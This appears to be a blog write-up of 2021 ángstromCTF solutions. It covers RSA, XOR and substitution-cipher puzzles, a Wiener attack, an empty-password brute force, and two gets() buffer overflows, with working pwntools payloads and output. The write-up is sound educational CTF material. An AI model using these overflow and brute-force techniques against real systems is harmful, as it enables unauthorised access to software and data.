# [Crypto] Relatively Simple Algorithm [40]

`n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567e = 65537c = 10864485158475691897785142521639836330781000210189423011287091723451951610180283857631511649079479027112130353186851953406105053056298142082602063838397998301027166017550640238950447769518433944243137063001957269365958032249980121504153513256559586412311362623923242018337876522904503710806515529917807480943`

## Solution

Well there is not much to explain:

`>>bytes.fromhex(hex(77829732531886017666421465369706368622254927240332446949265849761777437379574153694975519245766808162296991738636674224619780544798026515410227980157)[2:])b’actf{old_but_still_good_well_at_least_until_quantum_computing}’`

# [Crypto] Exclusive Cipher [40]

`ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c`

## Solution

This one is pretty easy. We know the key length and we know that flag starts with `actf{` , that’s 5 bytes. So we can XOR `actf{` with some 5 bytes of cyphertext to get the key. But we don’t know where exactly flag starts, therefore we have to drag `actf{` through the text and XOR it with text at different offsets to get different keys. After that we can use those keys to decrypt text, and if some particular key is correct we will decrypt text successfully. I made python script for this:

Here’s an output with the flag:

# [Crypto] Keysar v2 [40]

## Solution

Let’s look at the source code

The only thing we need to understand here is that this is actually just a monoalphabetic substitution cipher. So we can try to decrypt it with some automated tool, https://www.guballa.de/substitution-solver for example.

Input:

`quutcvbmy ft qii amtkm iqkd tx qjbqfbtm, fzwcw bd mt kqo q sww dztgiv sw qsiw ft xio. bfd kbmyd qcw ftt drqii ft ywf bfd xqf ibffiw stvo txx fzw yctgmv. fzw sww, tx utgcdw, xibwd qmokqo swuqgdw swwd vtm’f uqcw kzqf zgrqmd fzbma bd brhtddbsiw. owiitk, siqua. owiitk, siqua. owiitk, siqua. owiitk, siqua. ttz, siqua qmv owiitk! iwf’d dzqaw bf gh q ibffiw. sqcco! scwqaxqdf bd cwqvo! utrbmy! zqmy tm q dwutmv. zwiit? sqcco? qvqr? uqm otg swibwjw fzbd bd zqhhwmbmy? b uqm’f. b’ii hbua otg gh. ittabmy dzqch. gdw fzw dfqbcd. otgc xqfzwc hqbv yttv rtmwo xtc fztdw. dtcco. b’r wnubfwv. zwcw’d fzw ycqvgqfw. kw’cw jwco hctgv tx otg, dtm. q hwcxwuf cwhtcf uqcv, qii s’d. jwco hctgv. rq! b ytf q fzbmy ytbmy zwcw. otg ytf ibmf tm otgc xgpp. tk! fzqf’d rw! kqjw ft gd! kw’ii sw bm ctk 118,000. sow! sqcco, b ftiv otg, dfth xiobmy bm fzw ztgdw! zwo, qvqr. zwo, sqcco. bd fzqf xgpp ywi? q ibffiw. dhwubqi vqo, ycqvgqfbtm. mwjwc fztgyzf b’v rqaw bf. fzcww vqod ycqvw duztti, fzcww vqod zbyz duztti. fztdw kwcw qkakqcv. fzcww vqod utiiwyw. b’r yiqv b ftta q vqo qmv zbfuzzbawv qctgmv fzw zbjw. otg vbv utrw squa vbxxwcwmf. zb, sqcco. qcfbw, yctkbmy q rgdfquzw? ittad yttv. zwqc qstgf xcqmabw? owqz. otg ytbmy ft fzw xgmwcqi? mt, b’r mtf ytbmy. wjwcostvo amtkd, dfbmy dtrwtmw, otg vbw. vtm’f kqdfw bf tm q degbccwi. dguz q ztfzwqv. b ygwdd zw utgiv zqjw lgdf ytffwm tgf tx fzw kqo. b itjw fzbd bmutchtcqfbmy qm qrgdwrwmf hqca bmft tgc vqo. fzqf’d kzo kw vtm’f mwwv jquqfbtmd. sto, egbfw q sbf tx htrh… gmvwc fzw ubcugrdfqmuwd. kwii, qvqr, ftvqo kw qcw rwm. kw qcw! sww-rwm. qrwm! zqiiwiglqz! dfgvwmfd, xqugifo, vbdfbmygbdzwv swwd, hiwqdw kwiutrw vwqm sgppkwii. kwiutrw, mwk zbjw ubfo ycqvgqfbmy uiqdd tx… …9:15. fzqf utmuigvwd tgc uwcwrtmbwd. qmv swybmd otgc uqcwwc qf ztmwn bmvgdfcbwd! kbii kw hbua tgclts ftvqo? b zwqcv bf’d lgdf tcbwmfqfbtm. zwqvd gh! zwcw kw yt. awwh otgc zqmvd qmv qmfwmmqd bmdbvw fzw fcqr qf qii fbrwd. ktmvwc kzqf bf’ii sw ibaw? q ibffiw duqco. kwiutrw ft ztmwn, q vbjbdbtm tx ztmwdut qmv q hqcf tx fzw zwnqytm yctgh. fzbd bd bf! ktk. ktk. kw amtk fzqf otg, qd q sww, zqjw ktcawv otgc kztiw ibxw ft ywf ft fzw htbmf kzwcw otg uqm ktca xtc otgc kztiw ibxw. ztmwo swybmd kzwm tgc jqibqmf htiiwm ltuad scbmy fzw mwufqc ft fzw zbjw. tgc fth-dwucwf xtcrgiq bd qgftrqfbuqiio utitc-utccwufwv, duwmf-qvlgdfwv qmv sgssiw-utmftgcwv bmft fzbd dttfzbmy dkwwf docgh kbfz bfd vbdfbmufbjw ytivwm yitk otg amtk qd… ztmwo! fzqf ybci kqd ztf. dzw’d ro utgdbm! dzw bd? owd, kw’cw qii utgdbmd. cbyzf. otg’cw cbyzf. qf ztmwn, kw utmdfqmfio dfcbjw ft brhctjw wjwco qdhwuf tx sww wnbdfwmuw. fzwdw swwd qcw dfcwdd-fwdfbmy q mwk zwirwf fwuzmtityo. kzqf vt otg fzbma zw rqawd? mtf wmtgyz. zwcw kw zqjw tgc iqfwdf qvjqmuwrwmf, fzw acwirqm. qufx{awowvuqwdqcrtcwibawdgsdfbfgfbtm}`

Output:

`according to all known laws of aviation, there is no way a bee should be able to fly. its wings are too small to get its fat little body off the ground. the bee, of course, flies anyway because bees don’t care what humans think is impossible. yellow, black. yellow, black. yellow, black. yellow, black. ooh, black and yellow! let’s shake it up a little. barry! breakfast is ready! coming! hang on a second. hello? barry? adam? can you believe this is happening? i can’t. i’ll pick you up. looking sharp. use the stairs. your father paid good money for those. sorry. i’m excited. here’s the graduate. we’re very proud of you, son. a perfect report card, all b’s. very proud. ma! i got a thing going here. you got lint on your fuzz. ow! that’s me! wave to us! we’ll be in row 118,000. bye! barry, i told you, stop flying in the house! hey, adam. hey, barry. is that fuzz gel? a little. special day, graduation. never thought i’d make it. three days grade school, three days high school. those were awkward. three days college. i’m glad i took a day and hitchhiked around the hive. you did come back different. hi, barry. artie, growing a mustache? looks good. hear about frankie? yeah. you going to the funeral? no, i’m not going. everybody knows, sting someone, you die. don’t waste it on a squirrel. such a hothead. i guess he could have just gotten out of the way. i love this incorporating an amusement park into our day. that’s why we don’t need vacations. boy, quite a bit of pomp… under the circumstances. well, adam, today we are men. we are! bee-men. amen! hallelujah! students, faculty, distinguished bees, please welcome dean buzzwell. welcome, new hive city graduating class of… …9:15. that concludes our ceremonies. and begins your career at honex industries! will we pick ourjob today? i heard it’s just orientation. heads up! here we go. keep your hands and antennas inside the tram at all times. wonder what it’ll be like? a little scary. welcome to honex, a division of honesco and a part of the hexagon group. this is it! wow. wow. we know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. honey begins when our valiant pollen jocks bring the nectar to the hive. our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as… honey! that girl was hot. she’s my cousin! she is? yes, we’re all cousins. right. you’re right. at honex, we constantly strive to improve every aspect of bee existence. these bees are stress-testing a new helmet technology. what do you think he makes? not enough. here we have our latest advancement, the krelman. actf{keyedcaesarmorelikesubstitution}`

# [Crypto] sosig

`n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227`

## Solution

This is a classic Wiener attack. So we can use `owiener` Python module to find private exponent:

`>>> import owiener>>> n = 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853>>> e = 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799`

`>>> d = owiener.attack(e, n)>>> d14698244184759005359>>> c = 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227>>> t = pow(c, d, n)>>> bytes.fromhex(hex(t)[2:])b’actf{d0ggy!!!111!1}’>>>`

## Solution

That’s really simple task. Let’s look at the source code:

We are required to enter the password. If it is equal to the one randomly generated than we will get the flag. But how can we guess the password if it is generated randomly every time program runs? Well the thing is that we don’t really need to guess it. You see `/dev/urandom` generates random bytes sequence. So it will generate values in range 0–255, right? There is a 1/256 chance that first byte in generated password will be 0. And 0 is the end of string therefore generated password will be considered as empty string.

This means that we can just send empty passwords until function `generate_password()` will generate empty password and `strcmp()` will return 0.

We are provided with interactive shell directly on the CTF web page. Therefore I didn’t bother to write server-client interaction and implemented exploit on that shell:

`team7720@actf:~\$ cd /problems/2021/secure_loginteam7720@actf:/problems/2021/secure_login\$ pythonPython 3.8.5 (default, Jan 27 2021, 15:41:15)[GCC 9.3.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> from pwn import *>>> ans = b”Wrong”>>> while b”Wrong” in ans:… c = process(“./login”)… c.sendline(b””)… ans = c.recvall()`

After I press `Enter` I just need to be patient and wait until empty password is generated:

`[x] Starting local process ‘./login’[+] Starting local process ‘./login’: pid 38379[x] Receiving all data[x] Receiving all data: 0B[x] Receiving all data: 69B[*] Process ‘./login’ stopped with exit code 0 (pid 38379)[+] Receiving all data: Done (69B)[x] Starting local process ‘./login’[+] Starting local process ‘./login’: pid 38380[x] Receiving all data[x] Receiving all data: 0B[*] Process ‘./login’ stopped with exit code 0 (pid 38380)[x] Receiving all data: 107B[+] Receiving all data: Done (107B)>>> print(ans)b’Welcome to my ultra secure login service!\nEnter the password: actf{if_youre_reading_this_ive_been_hacked}\n\n’>>>`

# [Binary] tranquil [70]

## Solution

So we have the source code and an executable. Let’s look at the source code:

We can see function `win()` that prints us flag, but it’s not called anywhere in the program. Seems like we will have to call it by ourselves. Alright, so let’s find where we can call this function.

In `main()` function `vuln()` is called. And `vuln()` function asks us to enter the password but no matter if we enter correct or incorrect password nothing interesting is happened. But for reading user input `gets()` is used, and as we know this function is vulnerable because it doesn’t check input length, so we actually can write any amount of data we want to the function stack. That means we can overflow array `password[64]` and rewrite return address for `vuln()` function.

Attack mechanism is clear, now we only need to determine two parameters:

1. Count of bytes to overflow stack. One would think that there is only one local variable in function `vuln()` with size of 64 bytes, so there must be exactly 64 bytes allocated for function stack. But compiler can make it more for performance enhance.
2. Address of `win()` function.

Let’s decompile executable to determine those values. As you can see on the screenshot, first value is 0x48. That’s 76 decimal.

And second value is address of first instruction in `win()` function. Which is `0x00401196`.

Exploit commands:

`team7720@actf:~\$ cd /problems/2021/tranquilteam7720@actf:/problems/2021/tranquil\$ lsflag.txt tranquil tranquil.cteam7720@actf:/problems/2021/tranquil\$ pythonPython 3.8.5 (default, Jan 27 2021, 15:41:15)[GCC 9.3.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> from pwn import *>>> payload = b”a” * 0x48 + b”\x96\x11\x40\x00">>> payloadb’aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11@\x00'>>> c = process(“./tranquil”)[x] Starting local process ‘./tranquil’[+] Starting local process ‘./tranquil’: pid 25687>>> c.sendline(payload)>>> c.recvall()[x] Receiving all data[x] Receiving all data: 0B[*] Process ‘./tranquil’ stopped with exit code -11 (SIGSEGV) (pid 25687)[x] Receiving all data: 146B[+] Receiving all data: Done (146B)b’Enter the secret word: \nLogin failed!\nactf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}\n\n’`

# [Binary] Sanity Checks [80]

## Solution

That’s another buffer overflow challenge. Let’s check the source code:

We need to pass all checks to get the flag, but the only variable we can write (by programmer intention) is `password`. But `password` is read by `gets()` function which is vulnerable as we know.

Alright, we know what to do, let’s decompile the executable and define the payload we should send.

Now, `local_68` is our password. It must be equal to string `password123` . So, first we add to our payload `password123` . Here we want `strcmp()`to stop, so we add `\x00`.

Current payload: `password123\x00`

Next value we need to write is `local_1c`. It is located at the offset `0x1c` according to its name. So there are `0x68 — 0x1c-12= 76`bytes. 12 bytes we have already entered so 64 bytes left to write.

Current payload: `password123` + `\x00` * `65`.

Fine. According to the decompiled code `local_1c` must be equal `0x11` . It is integer value, therefore we add 4 bytes `\x11\x00\x00\x00` to our payload.

Current payload: `password123` + `\x00` * `65` + `\x11\x00\x00\x00`.

Between other variables there are no space to fill, so other values we will add right after `local_1c`. These values are:

`local_18 = \x3d\x00\x00\x00`

`local_14 = \xf5\x00\x00\x00`

`local_10 = \x37\x00\x00\x00`

`local_c = \x32\x00\x00\x00`

Final payload is `password123` + `\x00` * `65` + `\x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00` .

Full exploit code:

`Python 3.8.5 (default, Jan 27 2021, 15:41:15)[GCC 9.3.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> from pwn import *>>> c = process(“./checks”)[x] Starting local process ‘./checks’[+] Starting local process ‘./checks’: pid 129836>>> c.sendline(b”password123" + b”\x00" * 65 + b”\x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00")`

`>>> c.recvall()[x] Receiving all data[x] Receiving all data: 0B[*] Process ‘./checks’ stopped with exit code 56 (pid 129836)[x] Receiving all data: 160B[+] Receiving all data: Done (160B)b”Enter the secret word: Logged in! Let’s just do some quick checks to make sure everything’s in order…\nactf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}\n”`

--

--

--

## More from 0awawa0

awawa.fun

Love podcasts or audiobooks? Learn on the go with our new app.

awawa.fun